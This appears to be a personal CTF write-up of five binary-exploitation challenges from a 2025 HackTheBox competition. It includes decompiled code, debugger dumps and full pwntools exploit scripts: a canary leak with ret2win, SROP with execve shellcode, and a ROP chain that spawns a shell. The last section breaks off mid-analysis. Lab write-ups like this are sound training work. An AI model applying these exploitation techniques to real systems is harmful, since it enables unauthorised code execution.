[WRITE UP] - Cyber Apocalypse CTF 2025: Tales from Eldoria

index

HackTheBox Cyber Apocalypse CTF is one of the CTF competitions that I have to join because the challenges in this tournament are very interesting and new, quite difficult compared to many people but it is very suitable to challenge myself. In my opinion, the challenges this year are more difficult than last year, but also show me that I need to pay more attention to debugging and analyzing instead of just focusing on exploits. This year I solved 5 challenges (also more than I expected). And here will be the detailed write-up for each of those challenges.

[Very easy] Quack Quack

Challenge Information

Description: On the quest to reclaim the Dragon's Heart, the wicked Lord Malakar has cursed the villagers, turning them into ducks! Join Sir Alaric in finding a way to defeat them without causing harm. Quack Quack, it's time to face the Duck!

Tags:

Buffer Overflow
With Win Function

Reverse Engineering

1
[*] '/mnt/e/sec/CTFs/2025/HTBCA/QuackQuack/challenge/quack_quack'
2
    Arch:       amd64-64-little
3
    RELRO:      Full RELRO
4
    Stack:      Canary found
5
    NX:         NX enabled
6
    PIE:        No PIE (0x400000)
7
    RUNPATH:    b'./glibc/'
8
    SHSTK:      Enabled
9
    IBT:        Enabled
10
    Stripped:   No

1
unsigned __int64 duckling()
2
{
3
  char *v1; // [rsp+8h] [rbp-88h]
4
  char s1[32]; // [rsp+10h] [rbp-80h] BYREF
5
  char s2[88]; // [rsp+30h] [rbp-60h] BYREF
6
  unsigned __int64 v4; // [rsp+88h] [rbp-8h]
7

8
  v4 = __readfsqword(0x28u);
9
  memset(s1, 0, sizeof(s1));
10
  memset(s2, 0, 80);
11
  printf("Quack the Duck!\n\n> ");
12
  fflush(_bss_start);
13
  read(0, s1, 0x66uLL);
14
  v1 = strstr(s1, "Quack Quack ");
15
  if ( !v1 )
16
  {
17
    error("Where are your Quack Manners?!\n");
18
    exit(1312);
19
  }
20
  printf("Quack Quack %s, ready to fight the Duck?\n\n> ", v1 + 32);
21
  read(0, s2, 0x6AuLL);
22
  puts("Did you really expect to win a fight against a Duck?!\n");
23
  return v4 - __readfsqword(0x28u);
24
}

This is the function that plays the main role for the whole program. Look at that, we can see there are 2 Buffer Overflow in the function. The first one is at s1 and the second is at s2. And the program require that our s1 must have Quack Quack string. After checking that it will let us do the second input. That’s what the program does, and our main problem is leak canary. If we look at printf("Quack Quack %s, ready to fight the Duck?\n\n> ", v1 + 32); we can see it will print the value from v1 address (which is the return value of strstr -> This function’s return the value is a pointer to the first occurrence of Quack Quack string in s1). With that we can calculate the offset from v1 -> canary and leak it

1
pwndbg> x/50gx 0x7ffe43c13920
2
0x7ffe43c13920: 0x4141414141414141      0x4141414141414141  // <---------------- Input
3
0x7ffe43c13930: 0x4141414141414141      0x4141414141414141
4
0x7ffe43c13940: 0x4141414141414141      0x4141414141414141
5
0x7ffe43c13950: 0x4141414141414141      0x4141414141414141
6
0x7ffe43c13960: 0x4141414141414141      0x4141414141414141
7
0x7ffe43c13970: 0x4141414141414141      0x51206b6361755141 // <----------------- Quack Quack string
8
0x7ffe43c13980: 0x000000206b636175      0x0000000000000000
9
0x7ffe43c13990: 0x00007f62edafa600      0xdf4ef73b04c28f00 // <----------------- Canary
10
0x7ffe43c139a0: 0x00007ffe43c139c0      0x000000000040162a
11
0x7ffe43c139b0: 0x89a0e288a0e280a0      0xdf4ef73b04c28f00
12
0x7ffe43c139c0: 0x0000000000000001      0x00007f62ed90cd90
13
0x7ffe43c139d0: 0x00007f62edafe803      0x0000000000401605
14
0x7ffe43c139e0: 0x00000001a0e280a0      0x00007ffe43c13ad8
15
0x7ffe43c139f0: 0x0000000000000000      0xaa9e441513df0bb1
16
0x7ffe43c13a00: 0x00007ffe43c13ad8      0x0000000000401605
17
0x7ffe43c13a10: 0x0000000000404d68      0x00007f62edb48040
18
0x7ffe43c13a20: 0x5562c397607d0bb1      0x545b9f3489550bb1
19
0x7ffe43c13a30: 0x00007ffe00000000      0x0000000000000000
20
0x7ffe43c13a40: 0x0000000000000000      0x00000000004016c4
21
0x7ffe43c13a50: 0x0000000000000000      0xdf4ef73b04c28f00
22
0x7ffe43c13a60: 0x0000000000000000      0x00007f62ed90ce40
23
0x7ffe43c13a70: 0x00007ffe43c13ae8      0x0000000000404d68
24
0x7ffe43c13a80: 0x00007f62edb492e0      0x0000000000000000
25
0x7ffe43c13a90: 0x0000000000000000      0x00000000004011d0
26
0x7ffe43c13aa0: 0x00007ffe43c13ad0      0x0000000000000000
27
pwndbg> p/d (0x7ffe43c13998-0x7ffe43c13920)-32
28
$1 = 88

Offset will still be calculated as usual starting from input and counting to canary, but we have to subtract 32 because what we need to find is the padding we need to set so that v1 + 32 = the address containing canary. With v1 as mentioned is the return address of strstr and it will be the address of the string Quack Quack . Besides, we need to add 1 to ignore the null byte of canary so that printf does not stop at null byte

Exploit Development

With leaked canary + Buffer Overflow in the second read we can easy control saved RIP and let the program return to duck_attack function which will give us flag

1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-
3
from pwn import *
4

5
exe = context.binary = ELF('quack_quack')
6
context.log_level = 'debug'
7

8
def start(argv=[], *a, **kw):
9
    if args.GDB:
10
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
11
    elif args.REMOTE:
12
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
13
    elif args.DOCKER:
14
        p = remote("localhost", 1337)
15
        time.sleep(1)
16
        pid = process(["pgrep", "-fx", "/home/app/chall"]).recvall().strip().decode()
17
        gdb.attach(int(pid), gdbscript=gdbscript, exe=exe.path)
18
        return p
19
    else:
20
        return process([exe.path] + argv, *a, **kw)
21

22
gdbscript = '''
23
b *0x4015A7
24
b *0x401567
25
continue
26
'''.format(**locals())
27

28
p = start()
29

30
#===========================================================
31
#                    EXPLOIT GOES HERE
32
#===========================================================
33

34

35
def exploit():
36

37
    prefix = b"Quack Quack "
38
    pad = b"A"*89 + prefix
39

40
    p.sendafter(b">", pad)
41

42
    p.recvuntil(b"Quack Quack ")
43
    canary = u64(p.recv(8)[:7].rjust(8, b"\x00"))
44
    info("canary: %#x", canary)
45

46
    offset = 88
47
    payload = flat({
48
        offset: [
49
            canary,
50
            b"A"*8,
51
            exe.sym["duck_attack"]
52
        ]
53
    })
54

55
    p.sendline(payload)
56

57
    p.interactive()
58

59

60
if __name__ == '__main__':
61
    exploit()

[Very easy] Blessing

Challenge Information

Description: In the realm of Eldoria, where warriors roam, the Dragon's Heart they seek, from bytes to byte's home. Through exploits and tricks, they boldly dare, to conquer Eldoria, with skill and flair.

Tags:

With win function
Leaked address

Reverse Engineering

1
[*] '/mnt/e/sec/CTFs/2025/HTBCA/pwn_blessing/challenge/blessing'
2
    Arch:       amd64-64-little
3
    RELRO:      Full RELRO
4
    Stack:      Canary found
5
    NX:         NX enabled
6
    PIE:        PIE enabled
7
    RUNPATH:    b'./glibc/'
8
    SHSTK:      Enabled
9
    IBT:        Enabled
10
    Stripped:   No

1
int __fastcall main(int argc, const char **argv, const char **envp)
2
{
3
  size_t size; // [rsp+8h] [rbp-28h] BYREF
4
  unsigned __int64 i; // [rsp+10h] [rbp-20h]
5
  _QWORD *v6; // [rsp+18h] [rbp-18h]
6
  void *buf; // [rsp+20h] [rbp-10h]
7
  unsigned __int64 v8; // [rsp+28h] [rbp-8h]
8

9
  v8 = __readfsqword(0x28u);
10
  setup(argc, argv, envp);
11
  banner();
12
  size = 0LL;
13
  v6 = malloc(0x30000uLL);
14
  *v6 = 1LL;
15
  printstr(
16
    "In the ancient realm of Eldoria, a roaming bard grants you good luck and offers you a gift!\n"
17
    "\n"
18
    "Please accept this: ");
19
  printf("%p", v6);
20
  sleep(1u);
21
  for ( i = 0LL; i <= 0xD; ++i )
22
  {
23
    printf("\b \b");
24
    usleep(0xEA60u);
25
  }
26
  puts("\n");
27
  printf(
28
    "%s[%sBard%s]: Now, I want something in return...\n\nHow about a song?\n\nGive me the song's length: ",
29
    "\x1B[1;34m",
30
    "\x1B[1;32m",
31
    "\x1B[1;34m");
32
  __isoc99_scanf("%lu", &size);
33
  buf = malloc(size);
34
  printf("\n%s[%sBard%s]: Excellent! Now tell me the song: ", "\x1B[1;34m", "\x1B[1;32m", "\x1B[1;34m");
35
  read(0, buf, size);
36
  *(_QWORD *)((char *)buf + size - 1) = 0LL;
37
  write(1, buf, size);
38
  if ( *v6 )
39
    printf("\n%s[%sBard%s]: Your song was not as good as expected...\n\n", "\x1B[1;31m", "\x1B[1;32m", "\x1B[1;31m");
40
  else
41
    read_flag();
42
  return 0;
43
}

As we can see, this is the main function of the binary, look around we might not see any bug here, everything look perfect. But if we use GDB and see how malloc return the value we can see that if malloc function allocate one memory location with a very big size it will fail and return to 0.

Exploit Development

With that if we use leaked as scanf input, buf = malloc(size); will fail, and return 0. With that there no more buf variable because the malloc failed. So this cause *(_QWORD *)((char *)buf + size - 1) = 0LL; to size -1 = 0 which will clear v6 value and let the program call read_flag function

1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-
3
from pwnie import *
4
from time import sleep
5
import re
6

7
context.log_level = 'debug'
8
exe = context.binary = ELF('./blessing', checksec=False)
9
libc = exe.libc
10

11
def init(argv=[], *a, **kw):
12
    if args.GDB:
13
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
14
    elif args.REMOTE:
15
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
16
    elif args.DOCKER:
17
        docker_port = sys.argv[1]
18
        docker_path = sys.argv[2]
19
        p = remote("localhost", docker_port)
20
        sleep(1)
21
        pid = process(["pgrep", "-fx", docker_path]).recvall().strip().decode()
22
        gdb.attach(int(pid), gdbscript=gdbscript, exe=exe.path)
23
        pause()
24
        return p
25
    else:
26
        return process([exe.path] + argv, *a, **kw)
27

28
gdbscript = '''
29
set solib-search-path /home/alter/CTFs/2025/HTBCA/pwn_blessing/challenge/glibc
30

31
# brva 0x16CC
32
# brva 0x171E
33
brva 0x15EF
34
brva 0x1739
35
brva 0x16CC
36
brva 0x171E
37
brva 0x170E
38
c
39
'''.format(**locals())
40

41
p = init()
42

43
# ==================== EXPLOIT ====================
44

45
def exploit():
46

47
    ru(b'Please accept this: ')
48
    output = rl()[:-1].split(b'\x08')
49
    leak = int(output[0], 16)
50
    slog('Leak', leak)
51

52
    sl(str(leak+1))
53
    sleep(2)
54
    s(b'A')
55

56

57
    interactive()
58

59
if __name__ == '__main__':
60
    exploit()

[Easy] Laconic

Challenge Information

Description: Sir Alaric's struggles have plunged him into a deep and overwhelming sadness, leaving him unwilling to speak to anyone. Can you find a way to lift his spirits and bring back his courage?

Tags:

SROP

Reverse Engineering

1
[*] '/mnt/e/sec/CTFs/2025/HTBCA/pwn_laconic/challenge/laconic'
2
    Arch:       amd64-64-little
3
    RELRO:      No RELRO
4
    Stack:      No canary found
5
    NX:         NX unknown - GNU_STACK missing
6
    PIE:        No PIE (0x42000)
7
    Stack:      Executable
8
    RWX:        Has RWX segments
9
    Stripped:   No

1
.shellcode:0000000000043000 ; void start()
2
.shellcode:0000000000043000                 public _start
3
.shellcode:0000000000043000 _start          proc near               ; DATA XREF: LOAD:0000000000042018↑o
4
.shellcode:0000000000043000                                         ; LOAD:0000000000042088↑o
5
.shellcode:0000000000043000                 mov     rdi, 0          ; Alternative name is '_start'
6
.shellcode:0000000000043000                                         ; __start
7
.shellcode:0000000000043007                 mov     rsi, rsp
8
.shellcode:000000000004300A                 sub     rsi, 8
9
.shellcode:000000000004300E                 mov     rdx, 106h
10
.shellcode:0000000000043015                 syscall                 ; LINUX -
11
.shellcode:0000000000043017                 retn
12
.shellcode:0000000000043017 _start          endp
13
.shellcode:0000000000043017
14
.shellcode:0000000000043018                 pop     rax
15
.shellcode:0000000000043019                 retn
16
.shellcode:0000000000043019 _shellcode      ends

The program is pretty simple it’s just call sys_read to read our input with the size is 0x106 bytes. And as we can see the program have pop rax and syscall we can think about perfom a SROP because we don’t have stack leak and the return value of read is len of the input so we can use call/jmp rax or let the program return to shellcode like normal. So that we need to use SROP to call sys_read again, read our shellcode and then return to it

Exploit Development

We can choose 0x43000 as a location to put our shellcode. And our shellcode need to have nop sled because there’re many trash instruction here and to make it return exactly to the location we put our shellcode we must use nop sled to clear/padding it

1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-
3
from pwnie import *
4
from time import sleep
5

6
context.log_level = 'debug'
7
exe = context.binary = ELF('./laconic', checksec=False)
8
libc = exe.libc
9

10
def init(argv=[], *a, **kw):
11
    if args.GDB:
12
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
13
    elif args.REMOTE:
14
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
15
    elif args.DOCKER:
16
        docker_port = sys.argv[1]
17
        docker_path = sys.argv[2]
18
        p = remote("localhost", docker_port)
19
        sleep(1)
20
        pid = process(["pgrep", "-fx", docker_path]).recvall().strip().decode()
21
        gdb.attach(int(pid), gdbscript=gdbscript, exe=exe.path)
22
        pause()
23
        return p
24
    else:
25
        return process([exe.path] + argv, *a, **kw)
26

27
gdbscript = '''
28

29
b *0x43017
30
c
31
'''.format(**locals())
32

33
p = init()
34

35
# ==================== EXPLOIT ====================
36

37
def exploit():
38

39
    offset = 8
40
    syscall = 0x43015 # syscall; ret;
41
    pop_rax = 0x43018
42

43
    frame = SigreturnFrame()
44
    frame.rdi = 0
45
    frame.rsi = 0x43000
46
    frame.rdx = 0x50
47
    frame.rip = syscall
48
    frame.rsp = 0x43000
49

50
    payload = flat({
51
        offset: [
52
            pop_rax,
53
            0xf,
54
            syscall,
55
            frame
56
        ]
57
    })
58

59
    # print(len(payload))
60
    s(payload[:262])
61

62
    sc = asm('''
63

64
        execve:
65
            lea rdi, [rip+sh]
66

67
            xor rsi, rsi
68
            xor rdx, rdx
69

70
            mov rax, 0x3b
71
            syscall
72

73
        sh:
74
            .ascii "/bin/sh"
75
            .byte 0
76

77
    ''')
78

79
    s(b'\x90' * 0x30 + sc)
80

81
    interactive()
82

83
if __name__ == '__main__':
84
    exploit()

And while read HTB Offical Write up I know that there’s /bin/sh string in the binary, so we don’t need to write a shellcode, what we need is create a frame that call execve

1
pwndbg> search /bin/sh
2
Searching for byte: b'/bin/sh'
3
laconic         0x43238 0x68732f6e69622f /* '/bin/sh' */

1
''' From HTB Offical Write up'''
2
# Srop
3
frame     = SigreturnFrame()
4
frame.rax = 0x3b            # syscall number for execve
5
frame.rdi = binsh           # pointer to /bin/sh
6
frame.rsi = 0x0             # NULL
7
frame.rdx = 0x0             # NULL
8
frame.rip = rop.syscall[0]
9

10
pl  = b'w3th4nds'
11
pl += p64(rop.rax[0])
12
pl += p64(0xf)
13
pl += p64(rop.syscall[0])
14
pl += bytes(frame)

[Easy] Crossbow

Challenge Information

Description: Sir Alaric's legendary shot can pierce through any enemy! Join his training and hone your aim to match his unparalleled precision. Tags:

Reverse Engineering

1
[*] '/mnt/e/sec/CTFs/2025/HTBCA/pwn_crossbow/challenge/crossbow'
2
    Arch:       amd64-64-little
3
    RELRO:      Partial RELRO
4
    Stack:      Canary found
5
    NX:         NX enabled
6
    PIE:        No PIE (0x400000)
7
    Stripped:   No
8
    Debuginfo:  Yes

There is two intersting functions in this binary

1
__int64 __fastcall training(__int64 a1, __int64 a2, __int64 a3, __int64 a4, int a5, int a6)
2
{
3
  int v6; // r8d
4
  int v7; // r9d
5
  char v9[32]; // [rsp+0h] [rbp-20h] BYREF
6

7
  printf(
8
    (unsigned int)"%s\n[%sSir Alaric%s]: You only have 1 shot, don't miss!!\n",
9
    (unsigned int)"\x1B[1;34m",
10
    (unsigned int)"\x1B[1;33m",
11
    (unsigned int)"\x1B[1;34m",
12
    a5,
13
    a6,
14
    v9[0]);
15
  target_dummy(v9);
16
  return printf(
17
           (unsigned int)"%s\n[%sSir Alaric%s]: That was quite a shot!!\n\n",
18
           (unsigned int)"\x1B[1;34m",
19
           (unsigned int)"\x1B[1;33m",
20
           (unsigned int)"\x1B[1;34m",
21
           v6,
22
           v7,
23
           v9[0]);
24
}

1
__int64 __fastcall target_dummy(__int64 a1, __int64 a2, __int64 a3, __int64 a4, int a5, int a6)
2
{
3
  int v6; // edx
4
  int v7; // ecx
5
  int v8; // r8d
6
  int v9; // r9d
7
  int v10; // r8d
8
  int v11; // r9d
9
  _QWORD *v12; // rbx
10
  int v13; // r8d
11
  int v14; // r9d
12
  __int64 result; // rax
13
  int v16; // r8d
14
  int v17; // r9d
15
  int v18; // [rsp+1Ch] [rbp-14h] BYREF
16

17
  printf(
18
    (unsigned int)"%s\n[%sSir Alaric%s]: Select target to shoot: ",
19
    (unsigned int)"\x1B[1;34m",
20
    (unsigned int)"\x1B[1;33m",
21
    (unsigned int)"\x1B[1;34m",
22
    a5,
23
    a6);
24
  if ( (unsigned int)scanf((unsigned int)"%d%*c", (unsigned int)&v18, v6, v7, v8, v9) != 1 )
25
  {
26
    printf(
27
      (unsigned int)"%s\n[%sSir Alaric%s]: Are you aiming for the birds or the target kid?!\n\n",
28
      (unsigned int)"\x1B[1;31m",
29
      (unsigned int)"\x1B[1;33m",
30
      (unsigned int)"\x1B[1;31m",
31
      v10,
32
      v11);
33
    exit(1312LL);
34
  }
35
  v12 = (_QWORD *)(8LL * v18 + a1);
36
  *v12 = calloc(1LL, 128LL);
37
  if ( !*v12 )
38
  {
39
    printf(
40
      (unsigned int)"%s\n[%sSir Alaric%s]: We do not want cowards here!!\n\n",
41
      (unsigned int)"\x1B[1;31m",
42
      (unsigned int)"\x1B[1;33m",
43
      (unsigned int)"\x1B[1;31m",
44
      v13,
45
      v14);
46
    exit(6969LL);
47
  }
48
  printf(
49
    (unsigned int)"%s\n[%sSir Alaric%s]: Give me your best warcry!!\n\n> ",
50
    (unsigned int)"\x1B[1;34m",
51
    (unsigned int)"\x1B[1;33m",
52
    (unsigned int)"\x1B[1;34m",
53
    v13,
54
    v14);
55
  result = fgets_unlocked(*(_QWORD *)(8LL * v18 + a1), 128LL, &_stdin_FILE);
56
  if ( !result )
57
  {
58
    printf(
59
      (unsigned int)"%s\n[%sSir Alaric%s]: Is this the best you have?!\n\n",
60
      (unsigned int)"\x1B[1;31m",
61
      (unsigned int)"\x1B[1;33m",
62
      (unsigned int)"\x1B[1;31m",
63
      v16,
64
      v17);
65
    exit(69LL);
66
  }
67
  return result;
68
}

v9 is a variable declare with 32 bytes and passed into the target_dummy function. The pseudo-code is pretty complex and hard to see. So my experience is focus on how this function work with v9 variable. First we need to input our target to shoot, look carefully this input is saved in v18 and then

1
  v12 = (_QWORD *)(8LL * v18 + a1);
2
  *v12 = calloc(1LL, 128LL);
3

4
  result = fgets_unlocked(*(_QWORD *)(8LL * v18 + a1), 128LL, &_stdin_FILE);

It’ll read our input too v18 + a1(v9). Let’s take a look at this in GDB

1
pwndbg> x/30xg $rsp
2
0x7ffef755d000: 0x0000000000000000      0x00007ffef755d040
3
0x7ffef755d010: 0x0000000000000000      0x0000000a00000000
4
0x7ffef755d020: 0x0000000000001312      0x0000000000000001
5
0x7ffef755d030: 0x00007ffef755d060      0x00000000004013b8 <---------- saved RIP
6
                      |_______________________________________________ saved RBP
7
0x7ffef755d040: 0x0000000000000000      0x0000000000401175
8
                      |_______________________________________________ v9
9
0x7ffef755d050: 0x00007ffef755d060      0x00000000004011bc
10
0x7ffef755d060: 0x00007ffef755d070      0x000000000040144a
11
0x7ffef755d070: 0x00007ffef755d0b8      0x000000000040171f
12
0x7ffef755d080: 0x0000000000000000      0x0000000000000000
13
0x7ffef755d090: 0x00007fa143512050      0x0000000000000000
14
                      |_________________________________________________ *v12 (RBX) <----------------> Our input will be here
15
0x7ffef755d0a0: 0x0000000000000000      0x0000000000401045
16
0x7ffef755d0b0: 0x0000000000000001      0x00007ffef755ef75
17
0x7ffef755d0c0: 0x0000000000000000      0x00007ffef755efb0
18
0x7ffef755d0d0: 0x00007ffef755efc0      0x00007ffef755efcd
19
0x7ffef755d0e0: 0x00007ffef755f6c9      0x00007ffef755f6dd

So in my case, I input 10, and our next input will be in 0x7ffef755d090. But we can control v18 which mean we can control where our input in. In here I want my input in saved RBP so I just need to input -2, and when training function return it will return to our ROP chain we put on there.

1
00:0000│ rsp     0x7fffaa8c6930 ◂— 0
2
01:0008│-028     0x7fffaa8c6938 —▸ 0x7fffaa8c6970 ◂— 0
3
02:0010│-020     0x7fffaa8c6940 ◂— 0
4
03:0018│-018     0x7fffaa8c6948 ◂— 0xfffffffe00000000
5
04:0020│-010     0x7fffaa8c6950 ◂— 0x1312
6
05:0028│-008     0x7fffaa8c6958 ◂— 1
7
06:0030│ rbx rbp 0x7fffaa8c6960 —▸ 0x7fe91bd67050 ◂— 0
8
07:0038│+008     0x7fffaa8c6968 —▸ 0x4013b8 (training+74) ◂— lea rax, [rip + 0xa0e9]

Exploit Development

Our next thing to do is craft the ROP chain which give shell when execute, this stage is easy so I won’t explain much here

1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-
3
from pwn import *
4
from time import sleep
5

6
context.log_level = 'debug'
7
exe = context.binary = ELF('./crossbow', checksec=False)
8
libc = exe.libc
9

10
def init(argv=[], *a, **kw):
11
    if args.GDB:
12
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
13
    elif args.REMOTE:
14
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
15
    elif args.DOCKER:
16
        docker_port = sys.argv[1]
17
        docker_path = sys.argv[2]
18
        p = remote("localhost", docker_port)
19
        sleep(1)
20
        pid = process(["pgrep", "-fx", docker_path]).recvall().strip().decode()
21
        gdb.attach(int(pid), gdbscript=gdbscript, exe=exe.path)
22
        pause()
23
        return p
24
    else:
25
        return process([exe.path] + argv, *a, **kw)
26

27
gdbscript = '''
28

29
b *0x000000000040125E
30
b *training+126
31
b *target_dummy+430
32
c
33
'''.format(**locals())
34

35
p = init()
36

37
# ==================== EXPLOIT ====================
38

39
def exploit():
40

41

42
    pop_rax = 0x401001 # pop rax ; ret
43
    pop_rdi = 0x0401d6c # pop rdi ; ret
44
    pop_rsi = 0x40566b # pop rsi ; ret
45
    pop_rdx = 0x401139 # pop rdx ; ret
46
    syscall = 0x404b51 # syscall; ret;
47
    www = 0x4020f5 # mov qword ptr [rdi], rax ; ret
48

49
    sh = b"/bin/sh\x00"
50
    bss = 0x40e220
51

52
    payload = flat(
53
        [
54
            pop_rax,
55
            sh,
56
            pop_rdi,
57
            bss,
58
            www,
59
            pop_rdi,
60
            bss,
61
            pop_rsi,
62
            0,
63
            pop_rdx,
64
            0,
65
            pop_rax,
66
            0x3b,
67
            syscall
68
        ]
69
    )
70

71
    payload = b"A"*8 + payload
72

73
    p.sendlineafter(b":", b"-2")
74
    p.sendlineafter(b">", payload)
75

76
    p.interactive()
77

78
if __name__ == '__main__':
79
    exploit()

[Medium] Contractor

Challenge Information

Description: Sir Alaric calls upon the bravest adventurers to join him in assembling the mightiest army in all of Eldoria. Together, you will safeguard the peace across the villages under his protection. Do you have the courage to answer the call? Tags:

Buffer Overflow

Reverse Engineering

1
[*] '/mnt/e/sec/CTFs/2025/HTBCA/pwn_contractor/challenge/contractor'
2
    Arch:       amd64-64-little
3
    RELRO:      Full RELRO
4
    Stack:      Canary found
5
    NX:         NX enabled
6
    PIE:        PIE enabled
7
    RUNPATH:    b'./glibc/'
8
    SHSTK:      Enabled
9
    IBT:        Enabled
10
    Stripped:   No

1
int __fastcall main(int argc, const char **argv, const char **envp)
2
{
3
  void *v3; // rsp
4
  int choice; // [rsp+8h] [rbp-20h] BYREF
5
  int v6; // [rsp+Ch] [rbp-1Ch]
6
  contractor_t *s; // [rsp+10h] [rbp-18h]
7
  char s1[4]; // [rsp+1Ch] [rbp-Ch] BYREF
8
  unsigned __int64 v9; // [rsp+20h] [rbp-8h]
9

10
  v9 = __readfsqword(0x28u);
11
  v3 = alloca(304LL);
12
  s = (contractor_t *)&choice;
13
  memset(&choice, 0, 0x128uLL);
14
  printf(
15
    "%s[%sSir Alaric%s]: Young lad, I'm truly glad you want to join forces with me, but first I need you to tell me some "
16
    "things about you.. Please introduce yourself. What is your name?\n"
17
    "\n"
18
    "> ",
19
    "\x1B[1;34m",
20
    "\x1B[1;33m",
21
    "\x1B[1;34m");
22
  for ( i = 0; (unsigned int)i <= 15; ++i )
23
  {
24
    read(0, &safe_buffer, 1uLL);
25
    if ( safe_buffer == 10 )
26
      break;
27
    s->name[i] = safe_buffer;
28
  }
29
  printf(
30
    "\n[%sSir Alaric%s]: Excellent! Now can you tell me the reason you want to join me?\n\n> ",
31
    "\x1B[1;33m",
32
    "\x1B[1;34m");
33
  for ( i = 0; (unsigned int)i <= 255; ++i )
34
  {
35
    read(0, &safe_buffer, 1uLL);
36
    if ( safe_buffer == 10 )
37
      break;
38
    s->reason[i] = safe_buffer;
39
  }
40
  printf(
41
    "\n[%sSir Alaric%s]: That's quite the reason why! And what is your age again?\n\n> ",
42
    "\x1B[1;33m",
43
    "\x1B[1;34m");
44
  __isoc99_scanf("%ld", &s->age);
45
  printf(
46
    "\n"
47
    "[%sSir Alaric%s]: You sound mature and experienced! One last thing, you have a certain specialty in combat?\n"
48
    "\n"
49
    "> ",
50
    "\x1B[1;33m",
51
    "\x1B[1;34m");
52
  for ( i = 0; (unsigned int)i <= 15; ++i )
53
  {
54
    read(0, &safe_buffer, 1uLL);
55
    if ( safe_buffer == 10 )
56
      break;
57
    s->speciality[i] = safe_buffer;
58
  }
59
  printf(
60
    "\n"
61
    "[%sSir Alaric%s]: So, to sum things up: \n"
62
    "\n"
63
    "+------------------------------------------------------------------------+\n"
64
    "\n"
65
    "\t[Name]: %s\n"
66
    "\t[Reason to join]: %s\n"
67
    "\t[Age]: %ld\n"
68
    "\t[Specialty]: %s\n"
69
    "\n"
70
    "+------------------------------------------------------------------------+\n"
71
    "\n",
72
    "\x1B[1;33m",
73
    "\x1B[1;34m",
74
    s->name,
75
    s->reason,
76
    s->age,
77
    s->speciality);
78
  v6 = 0;
79
  printf(
80
    "[%sSir Alaric%s]: Please review and verify that your information is true and correct.\n",
81
    "\x1B[1;33m",
82
    "\x1B[1;34m");
83
  do
84
  {
85
    printf("\n1. Name      2. Reason\n3. Age       4. Specialty\n\n> ");
86
    __isoc99_scanf("%d", &choice);
87
    if ( choice == 4 )
88
    {
89
      printf("\n%s[%sSir Alaric%s]: And what are you good at: ", "\x1B[1;34m", "\x1B[1;33m", "\x1B[1;34m");
90
      for ( i = 0; (unsigned int)i <= 255; ++i )
91
      {
92
        read(0, &safe_buffer, 1uLL);
93
        if ( safe_buffer == 10 )
94
          break;
95
        s->speciality[i] = safe_buffer;
96
      }
97
      ++v6;
98
    }
99
    else
100
    {
101
      if ( choice > 4 )
102
        goto LABEL_36;
103
      switch ( choice )
104
      {
105
        case 3:
106
          printf(
107
            "\n%s[%sSir Alaric%s]: Did you say you are 120 years old? Please specify again: ",
108
            "\x1B[1;34m",
109
            "\x1B[1;33m",
110
            "\x1B[1;34m");
111
          __isoc99_scanf("%d", &s->age);
112
          ++v6;
113
          break;
114
        case 1:
115
          printf("\n%s[%sSir Alaric%s]: Say your name again: ", "\x1B[1;34m", "\x1B[1;33m", "\x1B[1;34m");
116
          for ( i = 0; (unsigned int)i <= 0xF; ++i )
117
          {
118
            read(0, &safe_buffer, 1uLL);
119
            if ( safe_buffer == 10 )
120
              break;
121
            s->name[i] = safe_buffer;
122
          }
123
          ++v6;
124
          break;
125
        case 2:
126
          printf("\n%s[%sSir Alaric%s]: Specify the reason again please: ", "\x1B[1;34m", "\x1B[1;33m", "\x1B[1;34m");
127
          for ( i = 0; (unsigned int)i <= 0xFF; ++i )
128
          {
129
            read(0, &safe_buffer, 1uLL);
130
            if ( safe_buffer == 10 )
131
              break;
132
            s->reason[i] = safe_buffer;
133
          }
134
          ++v6;
135
          break;
136
        default:
137
LABEL_36:
138
          printf("\n%s[%sSir Alaric%s]: Are you mocking me kid??\n\n", "\x1B[1;31m", "\x1B[1;33m", "\x1B[1;31m");
139
          exit(1312);
140
      }
141
    }
142
    if ( v6 == 1 )
143
    {
144
      printf(
145
        "\n%s[%sSir Alaric%s]: I suppose everything is correct now?\n\n> ",
146
        "\x1B[1;34m",
147
        "\x1B[1;33m",
148
        "\x1B[1;34m");
149
      for ( i = 0; (unsigned int)i <= 3; ++i )
150
      {
151
        read(0, &safe_buffer, 1uLL);
152
        if ( safe_buffer == 10 )
153
          break;
154
        s1[i] = safe_buffer;
155
      }
156
      if ( !strncmp(s1, "Yes", 3uLL) )
157
        break;
158
    }
159
  }
160
  while ( v6 <= 1 );
161
  printf("\n%s[%sSir Alaric%s]: We are ready to recruit you young lad!\n\n", "\x1B[1;34m", "\x1B[1;33m", "\x1B[1;34m");
162
  return 0;
163
}

Very complex function, so I create a struct to make it more readable

1
00000000 struct __fixed contractor_t // sizeof=0x128
2
00000000 {
3
00000000     char name[16];
4
00000010     char reason[256];
5
00000110     __int64 age;
6
00000118     char speciality[16];
7
00000128 };

First, it uses alloca to allocate memory on the stack. alloca() is a compiler built-in, also known as __builtin_alloca(). By default, modern compilers automatically translate all uses of alloca() into the built-in, but this is forbidden if standards conformance is requested (-ansi, -std=c*), in which case <alloca.h> is required, lest a symbol dependency be emitted. This is the disassembly of alloca()

1
.text:000000000000148F
2
.text:000000000000148F loc_148F:                               ; CODE XREF: main+63↓j
3
.text:000000000000148F                 cmp     rsp, rdx
4
.text:0000000000001492                 jz      short loc_14A6
5
.text:0000000000001494                 sub     rsp, 1000h
6
.text:000000000000149B                 or      [rsp+1020h+var_28], 0
7
.text:00000000000014A4                 jmp     short loc_148F
8
.text:00000000000014A6 ; ---------------------------------------------------------------------------
9
.text:00000000000014A6
10
.text:00000000000014A6 loc_14A6:                               ; CODE XREF: main+51↑j
11
.text:00000000000014A6                 mov     rdx, rax
12
.text:00000000000014A9                 and     edx, 0FFFh
13
.text:00000000000014AF                 sub     rsp, rdx
14
